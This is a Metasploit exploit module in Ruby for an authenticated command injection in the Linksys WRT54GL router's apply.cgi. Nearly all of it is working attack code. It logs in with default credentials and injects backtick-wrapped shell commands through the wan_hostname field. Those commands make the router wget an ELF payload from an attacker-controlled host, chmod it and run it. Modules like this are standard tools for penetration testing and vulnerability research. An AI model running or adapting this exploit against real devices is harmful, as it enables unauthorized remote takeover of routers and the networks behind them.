##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ManualRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::HttpServer
	include Msf::Exploit::EXE
	include Msf::Exploit::FileDropper

	def initialize(info = {})
		super(update_info(info,
			'Name'	=> 'Linksys WRT54GL apply.cgi Command Execution',
			'Description' => %q{
					Some Linksys Routers are vulnerable to an authenticated OS command injection in
				the Web Interface. Default credentials are admin/admin or admin/password. Since it
				is a blind os command injection vulnerability, there is no output for the executed
				command when using the cmd generic payload. A ping command against a controlled
				system could be used for testing purposes. The user must be prudent when using this
				module since it modifies the router configuration while exploitation, even when it
				tries to restore previous values.
			},
			'Author'      =>
				[
					'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
					'juan vazquez' # minor help with msf module
				],
			'License'     => MSF_LICENSE,
			'References'  =>
				[
					[ 'OSVDB', '89912' ],
					[ 'BID', '57459' ],
					[ 'EDB', '24202' ],
					[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-001' ]
				],
			'DisclosureDate' => 'Jan 18 2013',
			'Privileged'     => true,
			'Platform'       => ['linux','unix'],
			'Payload'	=>
				{
					'DisableNops' => true
				},
			'Targets'	=>
				[
					[ 'CMD',
						{
						'Arch' => ARCH_CMD,
						'Platform' => 'unix'
						}
					],
					[ 'Linux mipsel Payload',
						{
						'Arch' => ARCH_MIPSLE,
						'Platform' => 'linux'
						}
					],
				],
			'DefaultTarget'  => 1
			))

		register_options(
			[
				OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
				OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ]),
				OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
				OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
				OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
				OptBool.new('RESTORE_CONF', [ true, 'Should we try to restore the original configuration', true ])
			], self.class)
	end


	def get_config(config, pattern)
		if config =~ /#{pattern}/
			return $1
		end
		return ""
	end

	def grab_config(user,pass)
		print_status("#{rhost}:#{rport} - Trying to download the original configuration")
		begin
			res = send_request_cgi({
				'uri'     => '/index.asp',
				'method'  => 'GET',
				'authorization' => basic_auth(user,pass)
			})
			if res.nil? or res.code == 404
				fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
			end
			if [200, 301, 302].include?(res.code)
				if res.body =~ /lan_ipaddr_0/
					print_good("#{rhost}:#{rport} - Successful downloaded the configuration")
				else
					fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Download of the original configuration not possible")
				end
			else
				fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
			end
		rescue ::Rex::ConnectionError
			fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
		end

		#now_proto and wan_proto should be the same and it should be dhcp! Nothing else tested!
		@now_proto_orig = get_config(res.body, "<input\ type=hidden\ name=now_proto\ value=\'(.*)\'>")
		if @now_proto_orig !~ /dhcp/
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Configuration not recognized, aborting to avoid breaking the device")
		end
		@wan_proto_orig = get_config(res.body, "var\ wan_proto\ =\ \'(.*)\'\;")
		if @wan_proto_orig !~ /dhcp/
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Configuration not recognized, aborting to avoid breaking the device")
		end
		@lan_proto_orig = get_config(res.body, "<input\ type=\"radio\"\ name=\"lan_proto\"\ value=\"(.*)\"\ checked\ onClick=\"SelDHCP")
		@daylight_time_orig = get_config(res.body, "<input\ type=hidden\ name=daylight_time\ value=(.*)>")
		@lan_ipaddr_orig = get_config(res.body, "<input\ type=hidden\ name=\"lan_ipaddr\"\ value=(.*)>")
		@wait_time_orig = get_config(res.body, "<input\ type=hidden\ name=\"wait_time\"\ value=(.*)>")
		@need_reboot_orig = get_config(res.body, "<input\ type=hidden\ name=\"need_reboot\"\ value=(.*)>")
		@lan_ipaddr_0_orig = get_config(res.body, "onBlur\=valid_range\\(this\,1\,223\,\"IP\"\\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_0\"\>")
		@lan_ipaddr_1_orig = get_config(res.body, "\<INPUT\ class=num\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"IP\"\\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_1\">")
		@lan_ipaddr_2_orig = get_config(res.body, "\<INPUT\ class=num maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"IP\"\\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_2\">")
		@lan_ipaddr_3_orig = get_config(res.body, "<INPUT class=num maxLength=3\ onBlur=\"valid_range\\(this,1,254,'IP'\\)\;Sel_SubMask\\(this.form.lan_netmask,this.form\\);\"\ size=3" <<
			"\ value='(.*)'\ name=\"lan_ipaddr_3\"><\/TD>")
		@router_name_orig = get_config(res.body, "name=\"router_name\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\\(this\,\"Router%20Name\"\\)><\/FONT><\/TD>")
		@wan_domain_orig = get_config(res.body, "name=\"wan_domain\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\\(this\,\"Domain%20name\"\,SPACE_NO\\)><\/FONT><\/TD>")
		@wan_hostname_orig = get_config(res.body, "<INPUT\ maxLength=39\ name=\"wan_hostname\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\\(this\,\"Host%20Name\"\\)><\/FONT><\/TD>")
		@wan_mtu_orig = get_config(res.body, "<INPUT\ class=num\ maxLength=4\ onBlur=valid_mtu\\(this\\)\ size=5\ value='(.*)'\ name=\"wan_mtu\"><\/TD>")
		if @wan_mtu_orig.to_i > 1500
			@mtu_enable = "0"
		end
		@ui_language_orig = get_config(res.body, "<SCRIPT\ language=\"Javascript\"\ type=\"text\/javascript\" src=\"(.*)_lang_pack\/capsec.js\"><\/SCRIPT>")
		@dhcp_lease_orig = get_config(res.body, "<INPUT\ maxLength=4\ onBlur=valid_range\\(this\,0\,9999\,\"DHCP%20Lease%20Time\"\\)\ size=4\ value=\'(.*)\'\ name=\"dhcp_lease\"\ class=num")
		@dhcp_num_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,1\,253\,\"Number%20of%20DHCP%20users\"\\)\;Sel_SubMask_onblur\\(this.form.lan_netmask\,this.form\\)" <<
			"\ size=3\ value=\'(.*)\'\ name=\"dhcp_num\"\ class=num><\/TD>")
		@dhcp_start_orig = get_config(res.body, "Sel_SubMask_onblur\\(this.form.lan_netmask\,this.form\\)\ size=3\ value=\'(.*)\'\ name=\"dhcp_start\"\ class=num\ " <<
			"onChange=\"valid_dhcpd_start_ip\\(this.form\,\ this\\)\">")
		@netmask_orig = get_config(res.body, "value=.*\ selected\>255\.255\.255\.(.*)\<\/OPTION\>")
		@wan_dns_orig = get_config(res.body, "<input\ type=hidden\ name=wan_dns\ value=(.*)><INPUT\ maxLength=3")
		@wan_dns0_0_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,223\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_0\"\ class=num\>")
		@wan_dns0_1_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"DNS\"\\)\ size=3\ value=\'(.*)\' name=\"wan_dns0_1\"\ class=num\>")
		@wan_dns0_2_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_2\"\ class=num\>")
		@wan_dns0_3_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,254\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_3\"\ class=num\>")
		@wan_dns1_0_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,223\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_0\"\ class=num\>")
		@wan_dns1_1_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"DNS\"\\)\ size=3\ value=\'(.*)\' name=\"wan_dns1_1\"\ class=num\>")
		@wan_dns1_2_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_2\"\ class=num\>")
		@wan_dns1_3_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,254\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_3\"\ class=num\>")
		@wan_dns2_0_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,223\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_0\"\ class=num\>")
		@wan_dns2_1_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"DNS\"\\)\ size=3\ value=\'(.*)\' name=\"wan_dns2_1\"\ class=num\>")
		@wan_dns2_2_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_2\"\ class=num\>")
		@wan_dns2_3_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,254\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_3\"\ class=num\>")
		@wan_wins_orig = get_config(res.body, "<input\ type=hidden\ name=wan_wins\ value=(.*)><INPUT\ maxLength=3")
		@wan_wins_0_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,223\,\"WINS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_0\"\ class=num>")
		@wan_wins_1_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"WINS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_1\"\ class=num>")
		@wan_wins_2_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"WINS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_2\"\ class=num>")
		@wan_wins_3_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,254\,\"WINS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_3\"\ class=num>")
	end

	def restore_conf(user,pass,uri)
		# we have used most parts of the original configuration
		# just need to restore wan_hostname
		cmd = @wan_hostname_orig.to_s
		print_status("#{rhost}:#{rport} - Asking the Linksys device to reload original configuration")

		res = request(cmd,user,pass,uri)

		if (!res)
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to reload original configuration")
		end

		#the device needs around 10 seconds to apply our current configuration
		print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
		select(nil, nil, nil, @timeout)
	end

	def request(cmd,user,pass,uri)
		begin
			res = send_request_cgi({
				'uri'    => uri,
				'method' => 'POST',
				'authorization' => basic_auth(user,pass),
				'encode_params' => false,
				'vars_post' => {
					'submit_button' => "index",
					'change_action' => "1",
					'submit_type' => "1",
					'action' => "Apply",
					'now_proto' => @now_proto_orig.to_s,
					'daylight_time' => @daylight_time_orig.to_s,
					'lan_ipaddr' => @lan_ipaddr_orig.to_s,
					'wait_time' => @wait_time_orig.to_s,
					'need_reboot' => @need_reboot_orig.to_s,
					'ui_language' => @ui_language_orig,
					'wan_proto' => @wan_proto_orig.to_s,
					'router_name' => @router_name_orig.to_s,
					'wan_hostname' => cmd,
					'wan_domain' => @wan_domain_orig.to_s,
					'mtu_enable' => @mtu_enable.to_s,
					'wan_mtu' => @wan_mtu_orig.to_s,
					'lan_ipaddr_0' => @lan_ipaddr_0_orig.to_s,
					'lan_ipaddr_1' => @lan_ipaddr_1_orig.to_s,
					'lan_ipaddr_2' => @lan_ipaddr_2_orig.to_s,
					'lan_ipaddr_3' => @lan_ipaddr_3_orig.to_s,
					'lan_netmask' => "255.255.255.#{@netmask_orig}",
					'lan_proto' => @lan_proto_orig.to_s,
					'dhcp_check' => "1",
					'dhcp_start' => @dhcp_start_orig.to_s,
					'dhcp_num' => @dhcp_num_orig.to_s,
					'dhcp_lease' => @dhcp_lease_orig.to_s,
					'wan_dns' => @wan_dns_orig.to_s,
					'wan_dns0_0' => @wan_dns0_0_orig.to_s,
					'wan_dns0_1' => @wan_dns0_1_orig.to_s,
					'wan_dns0_2' => @wan_dns0_2_orig.to_s,
					'wan_dns0_3' => @wan_dns0_3_orig.to_s,
					'wan_dns1_0' => @wan_dns1_0_orig.to_s,
					'wan_dns1_1' => @wan_dns1_1_orig.to_s,
					'wan_dns1_2' => @wan_dns1_2_orig.to_s,
					'wan_dns1_3' => @wan_dns1_3_orig.to_s,
					'wan_dns2_0' => @wan_dns2_0_orig.to_s,
					'wan_dns2_1' => @wan_dns2_1_orig.to_s,
					'wan_dns2_2' => @wan_dns2_2_orig.to_s,
					'wan_dns2_3' => @wan_dns2_3_orig.to_s,
					'wan_wins' => @wan_wins_orig.to_s,
					'wan_wins_0' => @wan_wins_0_orig.to_s,
					'wan_wins_1' => @wan_wins_1_orig.to_s,
					'wan_wins_2' => @wan_wins_2_orig.to_s,
					'wan_wins_3' => @wan_wins_3_orig.to_s,
					'time_zone' => "-08+1+1",		#default is ok
					'_daylight_time' => '1'			#default is ok
					}
				})
			return res
		rescue ::Rex::ConnectionError
			vprint_error("#{rhost} - Failed to connect to the web server")
			return nil
		end

	end

	def exploit
		downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
		uri = '/apply.cgi'
		user = datastore['USERNAME']
		pass = datastore['PASSWORD']
		rhost = datastore['RHOST']
		rport = datastore['RPORT']
		restore = datastore['RESTORE_CONF']
		@timeout = 10

		#
		# testing Login
		#
		print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
		begin
			res = send_request_cgi({
				'uri'     => uri,
				'method'  => 'GET',
				'authorization' => basic_auth(user,pass)
			})
			if res.nil? or res.code == 404
				fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
			end
			if [200, 301, 302].include?(res.code)
				print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
			else
				fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
			end
		rescue ::Rex::ConnectionError
			fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
		end


		grab_config(user,pass)

		if target.name =~ /CMD/
			if not (datastore['CMD'])
				fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
			end
			cmd = payload.encoded
			cmd = "`#{cmd}`"
			res = request(cmd,user,pass,uri)
			if (!res)
				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
			else
				print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
			end
			print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
			select(nil, nil, nil, @timeout)
			restore_conf(user,pass,uri) if restore
			return
		end

		#thx to Juan for his awesome work on the mipsel elf support
		@pl = generate_payload_exe
		@elf_sent = false

		#
		# start our server
		#
		resource_uri = '/' + downfile

		if (datastore['DOWNHOST'])
			service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
		else
			#do not use SSL
			if datastore['SSL']
				ssl_restore = true
				datastore['SSL'] = false
			end

			#we use SRVHOST as download IP for the coming wget command.
			#SRVHOST needs a real IP address of our download host
			if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
				srv_host = Rex::Socket.source_address(rhost)
			else
				srv_host = datastore['SRVHOST']
			end

			service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
			print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
			start_service({'Uri' => {
				'Proc' => Proc.new { |cli, req|
					on_request_uri(cli, req)
				},
				'Path' => resource_uri
			}})

			datastore['SSL'] = true if ssl_restore
		end

		#
		# download payload
		#
		print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{service_url}")
		#this filename is used to store the payload on the device
		filename = rand_text_alpha_lower(8)

		#not working if we send all command together -> lets take three requests
		cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
		cmd = "`#{cmd}`"
		res = request(cmd,user,pass,uri)
		if (!res)
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
		end

		# wait for payload download
		if (datastore['DOWNHOST'])
			#waiting some time so we could be sure that the device got the payload from our third party server
			print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Linksys device to download the payload")
			select(nil, nil, nil, datastore['HTTP_DELAY'])
		else
			wait_linux_payload
		end
		register_file_for_cleanup("/tmp/#{filename}")

		#
		# chmod
		#
		cmd = "chmod 777 /tmp/#{filename}"
		cmd = "`#{cmd}`"
		print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}")
		res = request(cmd,user,pass,uri)
		if (!res)
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
		end
		print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
		select(nil, nil, nil, @timeout)

		#
		# execute
		#
		cmd = "/tmp/#{filename}"
		cmd = "`#{cmd}`"
		print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}")
		res = request(cmd,user,pass,uri)
		if (!res)
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
		end
		print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
		select(nil, nil, nil, @timeout)

		#
		#reload original configuration
		#
		if restore
			restore_conf(user,pass,uri)
		end
	end

	# Handle incoming requests from the server
	def on_request_uri(cli, request)
		#print_status("on_request_uri called: #{request.inspect}")
		if (not @pl)
			print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
			return
		end
		print_status("#{rhost}:#{rport} - Sending the payload to the server...")
		@elf_sent = true
		send_response(cli, @pl)
	end

	# wait for the data to be sent
	def wait_linux_payload
		print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")

		waited = 0
		while (not @elf_sent)
			select(nil, nil, nil, 1)
			waited += 1
			if (waited > datastore['HTTP_DELAY'])
				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
			end
		end
	end

end
